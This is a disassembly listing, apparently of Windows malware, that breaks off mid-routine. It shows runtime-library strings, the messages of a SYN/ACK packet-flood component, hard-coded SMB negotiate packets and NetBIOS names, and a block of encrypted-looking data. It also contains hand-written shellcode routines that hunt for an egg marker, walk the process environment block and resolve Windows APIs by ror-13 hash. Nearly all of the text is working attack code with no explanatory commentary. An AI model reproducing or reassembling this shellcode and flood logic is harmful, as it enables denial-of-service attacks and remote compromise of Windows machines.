		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_42DE8Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_417BBD+119o
		align 4
asc_41CB38	db 0Ah			; DATA XREF: sub_417BBD+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_417BBD+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_417BBD+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_417BBD+7Do
		align 8
dword_41CB78	dd 0FFFFFFFFh, 418141h,	418145haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: seg000:00418AECo
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_419541+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_419541+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_419541+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_419D11:loc_419E06o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_419D11+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_419D11+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_419D11+ADo
		align 4
dword_41CC18	dd 0FFFFFFFFh, 41A84Fh,	41A853h, 0FFFFFFFFh, 41A8BEh, 41A8C2h
					; DATA XREF: sub_41A698+5o
		dd 41CD38h
off_41CC34	dd offset loc_41AE28	; DATA XREF: sub_41AC30+4Do
					; sub_41AE44+Co
		dd offset sub_41ACEE
		dd offset sub_41AE0B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41AC30+1Eo
		dd offset dword_41CD70
off_41CC54	dd offset loc_41AD55	; DATA XREF: sub_41AC8A+4Eo
					; sub_41AD18+11o ...
		dd offset sub_41ACEE
		dd offset sub_41ACFB
		dd offset dword_41CDC0
off_41CC64	dd offset loc_41AF10	; DATA XREF: sub_41AE5C+4Do
					; sub_41AF2C+Co
		dd offset sub_41ACEE
		dd offset sub_41AEF3
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41AE5C+1Eo
		dd offset dword_41CDF0
off_41CC8C	dd offset sub_41AF94	; DATA XREF: sub_41AFB0+8o
					; sub_41AFED+8o ...
		dd offset sub_41B04D
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41B04D+7o
		align 4
		dd offset dword_41CE38
off_41CCAC	dd offset loc_41B06F	; DATA XREF: sub_41B05Ao
					; seg002:off_42E5B0o ...
dword_41CCB0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41CCD0	dd offset off_42E5B0	; DATA XREF: seg001:0041CD20o
					; seg001:0041CD54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41CCE8	dd offset off_42E5C8	; DATA XREF: seg001:0041CD1Co
					; seg001:0041CD50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41CD00	dd offset off_42E5E8	; DATA XREF: seg001:0041CD18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41CD00
		dd offset off_41CCE8
		dd offset off_41CCD0
		dd 0
		db    0			; DATA XREF: seg001:0041CD48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41CD18h, 3 dup(0)
		dd offset off_42E5E8
		dd offset unk_41CD28
		align 10h
		dd offset off_41CCE8
		dd offset off_41CCD0
dword_41CD58	dd 4 dup(0)			dd 2, 41CD50h
dword_41CD70	dd 3 dup(0)			dd offset off_42E5C8
		dd offset dword_41CD58+8
		align 8
off_41CD88	dd offset off_42E608	; DATA XREF: seg001:0041CDA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41CD88
		dd offset off_41CCE8
		dd offset off_41CCD0
dword_41CDAC	dd 3 dup(0)			dd 3, 41CDA0h
dword_41CDC0	dd 3 dup(0)			dd offset off_42E608
		dd offset dword_41CDAC+4
		dd offset off_41CCD0
dword_41CDD8	dd 4 dup(0)			dd 1, 41CDD4h
dword_41CDF0	dd 3 dup(0)			dd offset off_42E5B0
		dd offset dword_41CDD8+8
		align 8
off_41CE08	dd offset off_42E628	; DATA XREF: seg001:0041CE20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41CE08
		dd 0
		db    0			; DATA XREF: seg001:0041CE48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41CE20h
dword_41CE38	dd 3 dup(0)			dd offset off_42E628
		dd offset unk_41CE28
		align 10h
dword_41CE50	dd 19930520h, 2, 41CE70h, 5 dup(0)		dd 0FFFFFFFFh, 41B0D0h,	0
		dd offset sub_41B0C8
dword_41CE80	dd 19930520h, 2, 41CEA0h, 5 dup(0)		dd 0FFFFFFFFh, 41B0F4h,	0
		dd offset loc_41B0FC
dword_41CEB0	dd 19930520h, 2, 41CED0h, 1, 41CEE0h, 3	dup(0)
					; DATA XREF: seg000:loc_41B110o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41CEF8h, 4	dup(0)
		dd offset loc_402890
		dd 0
		dd offset off_42E5B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41AFEDh, 2 dup(0)
		dd offset off_42E5C8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41AD71h, 2 dup(0)
		dd offset off_42E5E8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41AE44h, 0
dword_41CF68	dd 3, 41CF48h, 41CF28h,	41CF08hdword_41CF78	dd 0							; sub_41AE0B+12o
		dd offset sub_41ADCE
		dd 0
		dd offset dword_41CF68
dword_41CF88	dd 19930520h, 1, 41CFA8h, 5 dup(0)		dd 0FFFFFFFFh, 41B11Ch
dword_41CFB0	dd 19930520h, 1, 41CFD0h, 5 dup(0)dword_41CFD0	dd 0FFFFFFFFh, 41B130h,	2, 41CF28h, 41CF08h, 0dword_41CFE8	dd 0				dd offset sub_41AD18
		dd 0
		dd offset dword_41CFD0+8
dword_41CFF8	dd 19930520h, 1, 41D018h, 5 dup(0)		dd 0FFFFFFFFh, 41B144h
dword_41D020	dd 19930520h, 1, 41D040h, 5 dup(0)		dd 0FFFFFFFFh, 41B158h
dword_41D048	dd 19930520h, 1, 41D068h, 5 dup(0)		dd 0FFFFFFFFh, 41B16Ch,	0
		dd offset off_42E608
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41AF2Ch, 0
dword_41D090	dd 3, 41D070h, 41CF28h,	41CF08hdword_41D0A0	dd 0							; sub_41AEF3+12o
		dd offset sub_41AEB6
		dd 0
		dd offset dword_41D090
dword_41D0B0	dd 19930520h, 1, 41D0D0h, 5 dup(0)		dd 0FFFFFFFFh, 41B180h
dword_41D0D8	dd 19930520h, 1, 41D0F8h, 5 dup(0)		dd 0FFFFFFFFh, 41B194h,	1D2E4h,	2 dup(0)
		dd 1D328h, 1C1A8h, 1D13Ch, 2 dup(0)
		dd 1DAA0h, 1C000h, 5 dup(0)
		dd 98F71031h, 0AADFA971h, 0DD0D4DD3h, 73425CCCh, 0E619EFC0h
		dd 0BDADC331h, 2A893184h, 0B0727B85h, 45E32F99h, 481FB125h
		dd 0AEA23843h, 0D29A6D05h, 0D8D515D2h, 64F4F083h, 0D72836Eh
		dd 0A0967020h, 61995C9Ah, 7BEEB3F6h, 0CAB06AABh, 6C2FDE0Ch
		dd 1B716ADFh, 0D7A9D570h, 71B1C6CCh, 2AF3AE0Eh,	0AEB17EDh
		dd 0EF0F758Bh, 0FCDD8629h, 8B770550h, 0AAB6B21Ah, 0FB157843h
		dd 543F6434h, 33656F42h, 5BD5D85Eh, 0FB900FA0h,	0EFD4CA12h
		dd 47354AA9h, 762492C3h, 8330EB17h, 0CE8929B0h,	0FAF1633Bh
		dd 70B0E3E4h, 51EA6E57h, 31343605h, 49922825h, 4E8BBFD7h
		dd 0D9DBA986h, 26C8E8ABh, 0A98B3DF3h, 1276B53Fh, 79CBF09Bh
		dd 0D20D4D93h, 2B5EFCA4h, 0D45B633Eh, 0E840831Ah, 2BB7304Bh
		dd 815FC970h, 7E4F38D9h, 4C7D8207h, 9EA1DF66h, 0CF5C4A57h
		dd 4A2168B6h, 0A8D992E0h, 0D3466FA3h, 0FDF11E9h, 49A4E1D9h
		dd 24ED71DDh, 5AF0382Ah, 9822125h, 0A0FB2696h, 53795372h
		dd 788BC9EFh, 40C5C3C5h, 0CDCF9FF3h, 0B6252E05h, 0C5C903F2h
		dd 0BBC5500Bh, 115E972Bh, 6DB357D9h, 2B336A41h,	80911A5Ah
		dd 0EF6AE5AEh, 0B102D05Ch, 46B04499h, 0F7849FC9h, 0C8E50BE0h
		dd 1D5A1567h, 0A08F9839h, 83B55FE8h, 0DC359C52h, 333A6B60h
		dd 8813D7B1h, 42373E90h, 0AAE1D6F1h, 0FCC652AFh, 0AF2BCB14h
		dd 9191235Ch, 22064E0Dh, 0F62F3F09h, 0B01FCABBh, 0D04E52DDh
		dd 0A1576BEDh, 6E92DD22h, 99F5C499h, 0AC0D77BFh, 0F14E35C8h
		dd 0
		dd 0C95B293h, 56887EC1h, 948B01CCh, 0C3B7D765h,	0E5DCB38Eh
		dd 0F5E447E6h, 3343FDA9h, 325E1D07h, 6E0E1777h,	4D992E2Bh
		dd 0CAD7BDC4h, 394FA6ECh, 0D589D986h, 1FE6EA79h, 1DAF2268h
		dd 16328AC6h, 0
		dd 0AC1F53A3h, 30A1F35Fh, 0B7E0h, 0B247007Eh, 42CC6C42h
		dd 1B742FD3h, 2060000h,	8C2560CEh, 2E2818A7h, 0C79C25B9h
		dd 0A0154BCEh, 0FCFE9435h, 79DE9Eh, 32FA0207h, 3CE1A66Ah
		dd 7099A20Ah, 56477968h, 823235DDh, 4F322538h, 0F9018Dh
		dd 0B58E016Dh, 3B9F7D6Fh, 68A7B54Ah, 3C3Ch, 339D0296h
		dd 0D909BDh, 0E92D0124h, 4E5314D8h, 0EBC89EC8h,	7EA0872Fh
		dd 4B71C716h, 16E0000h,	0DC470B1Dh, 37DB7326h, 4EDF6FF2h
		dd 0E95Eh, 0AA000FBh, 0EBB0D7F5h, 222CD22Fh, 8C844721h
		dd 11A0000h, 3B607343h,	0CBA68A54h, 3B7E8CA8h, 4A0000h
		dd 8F4659D1h, 4BC84950h, 140018ECh, 1B0000h, 2B054F5h
		dd 0B6E19A61h, 1FE3DCh,	5CD40112h, 8C6022F3h, 5EBB0D81h
		dd 3400A7h, 0A9D3E8FEh,	859D47CCh, 83C97Bh, 2D7B010Dh
		dd 568DFEACh, 651BCA8Fh, 91766956h, 478EC50Dh, 900000h
		dd 1B796994h, 0EB9C670Ah, 8A0003h, 4CBC0A3h, 0B8193571h
		dd 8519657Bh, 0C60F309Ah, 0A5D92AADh, 890000h, 25C30C24h
		dd 21C738A0h, 757295DCh, 3DD3630Fh, 57797C99h, 0D8CA11h
		dd 3621009Dh, 0FB675265h, 502D7DC7h, 7B27F7h, 0D1B30094h
		dd 4D374C5h, 56EDF534h,	32F53CBh, 2180000h, 7EA103ADh
		dd 642F8A17h, 26A0000h,	1A2676F8h, 0F37E15B5h, 0C4D05EA5h
		dd 747Dh, 992401C1h, 0CBBD4734h, 2CF90794h, 455DAB58h
		dd 19565DB0h, 0E2D4h, 5FC70066h, 0C466FD95h, 8EF4D9CAh
		dd 32CB4C44h, 5F500DA2h, 18BFh,	0E76001ABh, 5EE3CC7Fh
		dd 0C28E3A13h, 570A912Ah, 19567F7Fh, 4BD48CEh, 0AA462349h
		dd 0BBB64BD3h, 2F8474B6h, 5A89CEh, 677E0055h, 76B99527h
		dd 17E0673Dh, 0E3FC9853h, 4C96F336h, 1CF7E0h, 33E801C2h
		dd 3E01F21Ah, 0D53FCDh,	0B814h,	646B013Eh, 4A1043DEh, 0FED0896Fh
		dd 0C075D9E7h, 1260000h, 2F9C6390h, 51D8AC43h, 67300A60h
		dd 5F4390A0h, 0AF0000h,	0E2D05DACh, 49EB5184h, 46DCCBAAh
		dd 0E86Eh, 0FA180193h, 0FC6F0160h, 326BA469h, 13D4h, 5572018Ch
		dd 1BCFB2FAh, 0CF88AD89h, 2B00000h, 0F0D84C6Eh,	4FEA95C2h
		dd 0D6CD41DDh, 1CE108h,	1B4801D6h, 0C420366Ch, 0FC061297h
		dd 722813h, 0C9FC0035h,	0C74DADF9h, 6F9ED26Eh, 7AF69FEh
		dd 24225AE2h, 26C0000h,	427DA487h, 0E2F39E79h, 40194h
		dd 0F6470114h, 0C985737Dh, 3D05B71h, 440030h, 61D57BCFh
		dd 0F298E804h, 0C67E7F11h, 0E7Dh, 0E6B30080h, 4220AAB3h
		dd 0D52CC647h, 360BF576h, 0B5C89BAEh, 0B6902AB0h, 2993FCh
		dd 0A2560268h, 0BCF5D706h, 0D4FD994Eh, 2BD9E5C8h, 8E397650h
		dd 2DF0000h, 0E8F5BD07h, 0CE7D0730h, 16500C3h, 7F679B7Eh
		dd 0A10A1A61h, 56D5437Eh, 10B0000h, 301B11A7h, 2B5DB2BCh
		dd 0BA73F9D6h, 7710BD4Eh, 0A36Ch, 105701F9h, 1120321Ch
		dd 26EB7926h, 291C70h, 9D590063h, 15D3EED7h, 57CF2235h
		dd 0E1376C5Eh, 0F7003Eh, 9F0FA378h, 0F76F9654h,	6C201B3Dh
		dd 0D51013ABh, 4300B1h,	4AE447EDh, 47595B10h, 9BA6h, 22820175h
		dd 468D7F6Ch, 0C26C5A7Bh, 90601Ch, 0AECB018Dh, 977B1E4Fh
		dd 0B2502E84h, 3DADA0A2h, 373D07ECh, 1590000h, 7EB0EAE3h
		dd 0EA127834h, 0F2E5D22Ch, 6A6795BDh, 0B62D42h,	0B59F011Bh
		dd 0B5BCE1D6h, 9A5F04A2h, 1257h, 353B007Dh, 0F359FB8Ch
		dd 0E9DA463Bh, 570031h,	99FDDF4Fh, 0ED3C7551h, 1BE14Ch
		dd 83A401EFh, 5915B50Ah, 190D4654h, 0F80064h, 0A0DEF9Bh
		dd 5CEB63E8h, 0E80238A6h, 0F618CE89h, 0EA454Dh,	0F3AC0028h
		dd 0F23A26EAh, 0D11ACCh, 8D9702CEh, 982E2A0Eh, 0FD4AC99Ch
		dd 66CE113Bh, 22355C1Ch, 3F004Bh, 0D775EDAEh, 20D81967h
		dd 0EDC56AACh, 29F0000h, 0CD11CF71h, 0A0173D6Ah, 4F7FA558h
		dd 41374Bh, 0A3CE01DDh,	893DA6F5h, 5BF498h, 98CA02D2h
		dd 420A31E5h, 4D8FD655h, 22590AADh, 99C2A60Ch, 1E4009Dh
		dd 0B84C73C3h, 5AD8476Fh, 0CD69CE1Fh, 0DCF9B7ECh, 0A52CDCh
		dd 88E00CEh, 682DFDEEh,	4A1803AEh, 678EDB52h, 1984h, 18B2029Eh
		dd 8CE1BA92h, 0C140F132h, 0C7B3664Fh, 8C07h, 2C50011Ch
		dd 0F970A18Bh, 0C02FE04Ch, 0F4574D53h, 1200000h, 525DE91Ch
		dd 4624AA77h, 0F2872A78h, 77518E0Eh, 1990000h, 0C721F338h
		dd 0D2BAD6C0h, 19F0014h, 762A7AC8h, 6DE17C8Fh, 22F0000h
		dd 740D277Fh, 934FA6CCh, 1700002h, 301C023Ch, 58AE940Bh
		dd 69F662C4h, 15BF0766h, 97D868C7h, 25AFh, 0E315015Dh
		dd 0CF169F3Eh, 54CC9F39h, 82352Ah, 634101A2h, 95D864FDh
		dd 8C33AF12h, 1500050h,	7EA32AF8h, 0D1A15CD2h, 0CDD6DEADh
		dd 75A563h, 78BA00CAh, 4486CCF8h, 0EA811BADh, 0AAB9B548h
		dd 1740088h, 3D1EE5BBh,	3368EB5Ch, 45BAh, 0B0DA019Dh, 6510D3C9h
		dd 152B5741h, 19B0031h,	37079008h, 98200011h, 1D16h, 0B14702BFh
		dd 26005EB4h, 0F7490CC6h, 2BB0064h, 1A5DB893h, 5D9EDD0Ch
		dd 0A5114834h, 1B80000h, 0DA4ECF3Dh, 6B386681h,	0FD740E55h
		dd 20B0022h, 0CE7B8960h, 499C2111h, 0D27CE2EBh,	9BD1h
		dd 0C46701A3h, 65EDA560h, 653Fh, 0B32201BFh, 64EE8B28h
		dd 0BAA26C23h, 0C6E9h, 7E5301C0h, 7EBAF99Dh, 0D2BA05C1h
		dd 3717h, 1FD200BFh, 35698F91h,	0DD9204h, 6A0800B9h, 80F2FBA6h
		dd 1310000h, 0A64CA073h, 144D7DF9h, 2AD0000h, 9A962B0Bh
		dd 0CC3D4F19h, 0EF483131h, 0B3677223h, 411ABD73h, 0EC5C5CDFh
		dd 0B20000h, 0F1831EF3h, 9DD843E8h, 83970FB3h, 28225AE4h
		dd 0CE48F88h, 688DFBh, 4DE800B3h, 80A8ACFDh, 8CE431D9h
		dd 6994AA88h, 0F1824B83h, 0EB488D30h, 106000Eh,	0FB282AD1h
		dd 88328774h, 6D82EDF3h, 0B0AC44F5h, 6E139011h,	1080075h
		dd 8EF0CC8Ch, 0C4B06BCAh, 1011485Fh, 0C7C1D663h, 8733D51Dh
		dd 9E35h, 0A91C026Dh, 4045FA9h,	60CC27A9h, 0A344BCCAh
		dd 1520000h, 16FD4BC4h,	0D591D019h, 0E7CB8B4Bh,	1150000h
		dd 30CE54FEh, 27211A7Fh, 4AABEFh, 0BD480153h, 1992D565h
		dd 41AE887Ah, 89465332h, 1560000h, 0C0A8D365h, 180FB032h
		dd 0CEC625F0h, 83CFh, 0B5A3028Bh, 713636FBh, 383CE5ECh
		dd 0A0D0D159h, 3EACFE38h, 0E9607209h, 6C02A5F8h, 1B50046h
		dd 0AD716192h, 0A2A72190h, 0AF9E69CDh, 1B20000h, 7C016B70h
		dd 28B79245h, 3BC1C418h, 27C0000h, 29E74423h, 0D784B918h
		dd 7E13EE47h, 0AA0000h,	9B6D529Ah, 459D956Fh, 3D93BD0Dh
		dd 46FD61DBh, 2610000h,	0DF2DB440h, 84C45D65h, 895949A3h
		dd 210000h, 4467516Ah, 1A988705h, 0B912054Bh, 0AE81h, 74020022h
		dd 76AEE807h, 7709774Bh, 6D1B1E11h, 2620000h, 0B7FE67F9h
		dd 1E5900B8h, 0FA1EE21Eh, 28542FF7h, 0E7DD81E8h, 4B942Ah
		dd 27C0E1CDh, 641ED920h, 5AB1E99Fh, 155h dup(0)
seg001		ends

; Section 3. (virtual address 0001E000)
; Virtual size			: 00043000 ( 274432.)
; Section size in file		: 00043000 ( 274432.)
; Offset to raw	data for section: 0001E000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 41E000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0
		dd offset sub_40293E
		dd offset sub_41AF44
		dd 2 dup(0)
		dd offset sub_411572
		dd offset sub_41710C
		dd offset sub_417F27
		dd offset sub_4188C6
		align 8
dword_41E028	dd 0				dd offset sub_417FCC
dword_41E030	dd 0		dword_41E034	dd 0				dd offset sub_4188D7
dword_41E03C	dd 0		dword_41E040	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: start+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aSendErrorD_	db '  Send error: <%d>.',0
dword_41E0AC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401893o
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
dword_41E110	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:004017F7o
		dd 2029206Ch, 2BBBB02h
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: seg000:004016BAo
					; seg000:0040B2EEo ...
		align 4
aAck		db 'ack',0              ; DATA XREF: seg000:0040169Ao
					; seg000:0040B2D7o
aSyn		db 'syn',0              ; DATA XREF: seg000:0040167Ao
					; seg000:0040B2BFo
dword_41E184	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401507o
		dd 2029206Ch, 2BBBB02h
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
dword_41E1B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401496o
		dd 2029206Ch, 2BBBB02h
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_41E204	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:00401418o
		dd 2029206Ch, 2BBBB02h
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_401B60+B2o
		align 4
dword_41E258	dd 10FF8h, 0	dword_41E260	dd 10FF8h	dword_41E264	dd 7FFDF020h, 0	dword_41E26C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41E2F4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_41E324	dd 0				dd 800000D4h, 0
unk_41E330	db  81h	; 		; DATA XREF: sub_402064+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_41E37C	db 41h			; DATA XREF: sub_402102+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E3C0	proc near		; DATA XREF: sub_40235F+80o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_41E4BC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_41E4D2
		mov	[esi+8], eax
		call	sub_41E485
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_41E4D2
		mov	[esi+0Ch], eax
		call	sub_41E437
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_41E4D2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_41E3C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E437	proc near		; CODE XREF: sub_41E3C0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_41E460
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_41E437	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E460	proc near		; CODE XREF: sub_41E437+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_41E46F:				; CODE XREF: sub_41E460+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_41E47C
		inc	ebx
		jmp	short loc_41E46F
; ---------------------------------------------------------------------------


loc_41E47C:				; CODE XREF: sub_41E460+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_41E460	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E485	proc near		; CODE XREF: sub_41E3C0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_41E49D:				; CODE XREF: sub_41E485+1Ej
		cmp	[ecx], ebx
		jz	short loc_41E4A5
		mov	ecx, [ecx]
		jmp	short loc_41E49D
; ---------------------------------------------------------------------------


loc_41E4A5:				; CODE XREF: sub_41E485+1Aj
		mov	edx, edi


loc_41E4A7:				; CODE XREF: sub_41E485+2Aj
		cmp	[edx+4], ebx
		jz	short loc_41E4B1
		mov	edx, [edx+4]
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------


loc_41E4B1:				; CODE XREF: sub_41E485+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_41E485	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4BC	proc near		; CODE XREF: sub_41E3C0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_41E4BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D2	proc near		; CODE XREF: sub_41E3C0+16p
					; sub_41E3C0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_41E4E8:				; CODE XREF: sub_41E4D2+33j
		jecxz	short loc_41E522
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_41E4F5:				; CODE XREF: sub_41E4D2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_41E501
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_41E4F5
; ---------------------------------------------------------------------------


loc_41E501:				; CODE XREF: sub_41E4D2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_41E4E8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_41E522:				; CODE XREF: sub_41E4D2:loc_41E4E8j
					; sub_41E4D2:loc_41E522j
		jmp	short loc_41E522
sub_41E4D2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_41E528	proc near		; DATA XREF: sub_40235F+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_41E57A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_41E545:				; CODE XREF: sub_41E528+38j
		jecxz	short loc_41E575
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_41E550:				; CODE XREF: sub_41E528+32j
		lodsb
		test	al, al
